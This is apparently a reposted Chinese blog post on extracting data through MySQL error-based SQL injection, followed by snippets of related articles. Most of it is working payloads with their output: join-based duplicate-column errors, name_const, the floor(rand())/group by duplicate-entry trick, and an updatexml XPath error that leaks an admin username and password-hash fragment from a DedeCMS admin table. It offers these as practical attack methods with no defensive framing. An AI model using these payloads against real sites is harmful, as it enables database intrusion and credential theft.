MySQL注入中報錯的利用

2021-09-21 20:23:19 字數 2389 閱讀 8125

mysql注入中報錯的利用

在很多的情況 下我們不能直接方便的進行注入,於是有了benchmark延遲注射,如果能得到mysql的錯誤資訊的話,現在又有了更方便的方法。

網上流傳了兩三種方法,以前我在blog也記錄了其中一種:

//利用mysql出錯爆出字段

mysql> select * from (select * from user a join user b) c;

error 1060 (42s21): duplicate column name 'host'

mysql> select * from (select * from user a join user b using (host)) c;

error 1060 (42s21): duplicate column name 'user'

mysql> select * from (select * from user a join user b using (host,user)) c;

error 1060 (42s21): duplicate column name 'password'

.....

//得到資訊

//可能是版本問題,我測試沒能成功

mysql> select name_const((select host from user limit 0,1),0);

error 1210 (hy000): incorrect arguments to name_const

好像是name_const的引數必須為const還是怎麼了,悲劇。

下次再好好測試一下。

update:確實是版本的問題(高版本要求引數全為const,否則報錯),這方法的通用性看來不是很好。

mysql> select version();

+---------------------+

| version()           |

+---------------------+

| 5.0.27-community-nt |

+---------------------+

1 row in set (0.00 sec)

mysql> select name_const((select user()),0);

+----------------+

| root@localhost |

+----------------+

|              0 |

+----------------+

1 row in set (0.00 sec)

-------------------------------------

mysql> select version();

+------------------+

| version()        |

+------------------+

| 5.1.35-community |

+------------------+

1 row in set (0.00 sec)

mysql> select name_const((select version()),0);

error 1210 (hy000): incorrect arguments to name_const

前段時間在t00ls上看到的另一種:

1.2.5 注入0day 利用方法》

類似這樣

mysql> select 1 from (select count(*),concat(floor(rand(0)*2),(select 'x'))a fro

m information_schema.tables group by a)b;

error 1062 (23000): duplicate entry '1x' for key 'group_key'

這種方法對mysql版本沒什麼要求,但只能爆出64位元組的資料,用這種方法遇到大資料只能mid慢慢來了。

最後一種(只針對mysql 5.1++)

通過對extractvalue函式傳遞不合xpath語法規則的引數來爆出資料。

extractvalue、updatexml函式參見:

利用方法:

mysql> select 1 from dede_admin where updatexml(1,(select concat(0x5b,uname,0x3a

,mid(pwd,4,16),0x5d) from dede_admin),1);

error 1105 (hy000): xpath syntax error: '[admin:7a57a5a743894a0e]'

比上一種方法方便簡潔,不過這方法只能爆出32位元組的資料。同樣,大資料只能mid了

MySQL注入中報錯的利用

作者 xxbing 在很多的情況 下我們不能直接方便的進行注入,於是有了benchmark延遲注射,如果能得到mysql的錯誤資訊的話,現在又有了更方便的方法。網上流傳了兩三種方法,以前我在blog也記錄了其中一種。前段時間在t00ls上看到的另一種 類似這樣 mysql select 1 from...

SQL手工注入 報錯注入利用

利用資料庫的bug進行利用,看報錯資訊,不過報錯的資訊就是我們想要的資訊。只要是count rand group by 三個連用就會造成這種報錯。count用於判斷資料庫或表的數量,rand用於生成乙個隨機數,group by用於以什麼為一組進行分組。至少要有三條資料 才有可以產生報錯注入。floo...

mysql 報錯注入語句 mysql注入

sql的注入型別有以下5種 boolean based blind sql injection 布林型注入 error based sql injection 報錯型注入 union query sql injection 可聯合查詢注入 stacked queries sql injection ...